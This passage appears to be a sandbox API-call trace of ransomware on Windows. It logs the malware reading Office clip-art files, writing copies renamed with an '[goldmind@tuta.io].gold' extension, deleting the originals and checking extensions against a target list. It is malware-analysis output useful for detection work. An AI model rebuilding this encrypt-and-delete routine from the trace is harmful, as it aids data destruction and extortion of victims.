lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0051.256] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.256] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.256] SetEndOfFile (hFile=0x1a0) returned 1 [0051.257] CloseHandle (hObject=0x1a0) returned 1 [0051.257] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.257] SetEndOfFile (hFile=0x1e8) returned 1 [0051.257] CloseHandle (hObject=0x1e8) returned 1 [0051.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.258] lstrlenW (lpString=".doc") returned 4 [0051.258] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.258] lstrlenW (lpString=".docx") returned 5 [0051.258] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.258] lstrlenW (lpString=".pdf") returned 4 [0051.258] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.258] lstrlenW (lpString=".xls") returned 4 [0051.258] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.258] lstrlenW (lpString=".xlsx") returned 5 [0051.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.258] lstrlenW (lpString=".ppt") returned 4 [0051.258] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.258] lstrlenW (lpString=".zip") returned 4 [0051.258] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.258] lstrlenW (lpString=".rar") returned 4 [0051.258] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.258] lstrlenW (lpString=".bz2") returned 4 [0051.258] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.258] lstrlenW (lpString=".7z") returned 3 [0051.258] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.258] lstrlenW (lpString=".dbf") returned 4 [0051.258] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.258] lstrlenW (lpString=".1cd") returned 4 [0051.258] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.258] lstrlenW (lpString=".jpg") returned 4 [0051.258] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.259] lstrlenW (lpString=".doc") returned 4 [0051.259] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.259] lstrlenW (lpString=".docx") returned 5 [0051.259] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.259] lstrlenW (lpString=".pdf") returned 4 [0051.259] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.259] lstrlenW (lpString=".xls") returned 4 [0051.259] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.259] lstrlenW (lpString=".xlsx") returned 5 [0051.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.259] lstrlenW (lpString=".ppt") returned 4 [0051.259] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.259] lstrlenW (lpString=".zip") returned 4 [0051.259] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.259] lstrlenW (lpString=".rar") returned 4 [0051.259] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.259] lstrlenW (lpString=".bz2") returned 4 [0051.259] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.259] lstrlenW (lpString=".7z") returned 3 [0051.259] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.259] lstrlenW (lpString=".dbf") returned 4 [0051.259] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.259] lstrlenW (lpString=".1cd") returned 4 [0051.259] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0051.259] lstrlenW (lpString=".jpg") returned 4 [0051.259] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.259] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.259] lstrlenW (lpString="BD19695_.WMF") returned 12 [0051.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.259] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=12982) returned 1 [0051.260] CloseHandle (hObject=0x1e8) returned 1 [0051.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0051.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.260] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.260] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0051.260] GetLastError () returned 0x0 [0051.260] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0051.764] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0051.771] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.773] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.773] SetEndOfFile (hFile=0x1a0) returned 1 [0052.334] CloseHandle (hObject=0x1a0) returned 1 [0052.335] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.335] SetEndOfFile (hFile=0x1e8) returned 1 [0052.350] CloseHandle (hObject=0x1e8) returned 1 [0052.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.565] lstrlenW (lpString=".doc") returned 4 [0052.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString=".docx") returned 5 [0052.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.565] lstrlenW (lpString=".pdf") returned 4 [0052.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString=".xls") returned 4 [0052.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.565] lstrlenW (lpString=".xlsx") returned 5 [0052.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.565] lstrlenW (lpString=".ppt") returned 4 [0052.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.565] lstrlenW (lpString=".zip") returned 4 [0052.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.565] lstrlenW (lpString=".rar") returned 4 [0052.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString=".bz2") returned 4 [0052.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString=".7z") returned 3 [0052.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.565] lstrlenW (lpString=".dbf") returned 4 [0052.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.565] lstrlenW (lpString=".1cd") returned 4 [0052.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.565] lstrlenW (lpString=".jpg") returned 4 [0052.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.565] lstrlenW (lpString=".doc") returned 4 [0052.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString=".docx") returned 5 [0052.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.565] lstrlenW (lpString=".pdf") returned 4 [0052.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString=".xls") returned 4 [0052.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.566] lstrlenW (lpString=".xlsx") returned 5 [0052.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.566] lstrlenW (lpString=".ppt") returned 4 [0052.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.566] lstrlenW (lpString=".zip") returned 4 [0052.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.566] lstrlenW (lpString=".rar") returned 4 [0052.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString=".bz2") returned 4 [0052.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString=".7z") returned 3 [0052.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.566] lstrlenW (lpString=".dbf") returned 4 [0052.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.566] lstrlenW (lpString=".1cd") returned 4 [0052.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0052.566] lstrlenW (lpString=".jpg") returned 4 [0052.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.566] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.566] lstrlenW (lpString="BL00105_.WMF") returned 12 [0052.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.862] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=880) returned 1 [0052.862] CloseHandle (hObject=0x1f4) returned 1 [0052.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0052.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.862] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.862] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.863] GetLastError () returned 0x0 [0052.863] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x370, lpOverlapped=0x0) returned 1 [0052.864] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x380, lpOverlapped=0x0) returned 1 [0052.865] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.865] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.865] SetEndOfFile (hFile=0x1e8) returned 1 [0052.865] CloseHandle (hObject=0x1e8) returned 1 [0052.865] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.865] SetEndOfFile (hFile=0x1f4) returned 1 [0052.866] CloseHandle (hObject=0x1f4) returned 1 [0052.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0052.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.866] lstrlenW (lpString=".doc") returned 4 [0052.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.866] lstrlenW (lpString=".docx") returned 5 [0052.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.866] lstrlenW (lpString=".pdf") returned 4 [0052.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.866] lstrlenW (lpString=".xls") returned 4 [0052.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.866] lstrlenW (lpString=".xlsx") returned 5 [0052.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.866] lstrlenW (lpString=".ppt") returned 4 [0052.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.866] lstrlenW (lpString=".zip") returned 4 [0052.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.867] lstrlenW (lpString=".rar") returned 4 [0052.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString=".bz2") returned 4 [0052.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString=".7z") returned 3 [0052.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.867] lstrlenW (lpString=".dbf") returned 4 [0052.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.867] lstrlenW (lpString=".1cd") returned 4 [0052.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.867] lstrlenW (lpString=".jpg") returned 4 [0052.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.867] lstrlenW (lpString=".doc") returned 4 [0052.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString=".docx") returned 5 [0052.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.867] lstrlenW (lpString=".pdf") returned 4 [0052.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString=".xls") returned 4 [0052.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.867] lstrlenW (lpString=".xlsx") returned 5 [0052.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.867] lstrlenW (lpString=".ppt") returned 4 [0052.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.867] lstrlenW (lpString=".zip") returned 4 [0052.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.867] lstrlenW (lpString=".rar") returned 4 [0052.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString=".bz2") returned 4 [0052.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString=".7z") returned 3 [0052.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.867] lstrlenW (lpString=".dbf") returned 4 [0052.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.867] lstrlenW (lpString=".1cd") returned 4 [0052.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0052.868] lstrlenW (lpString=".jpg") returned 4 [0052.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.868] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.868] lstrlenW (lpString="BL00122_.WMF") returned 12 [0052.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.868] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=10146) returned 1 [0052.868] CloseHandle (hObject=0x1f4) returned 1 [0052.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0052.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.868] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.868] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.869] GetLastError () returned 0x0 [0052.869] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x27a2, lpOverlapped=0x0) returned 1 [0052.870] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0052.871] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.871] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.871] SetEndOfFile (hFile=0x1e8) returned 1 [0052.871] CloseHandle (hObject=0x1e8) returned 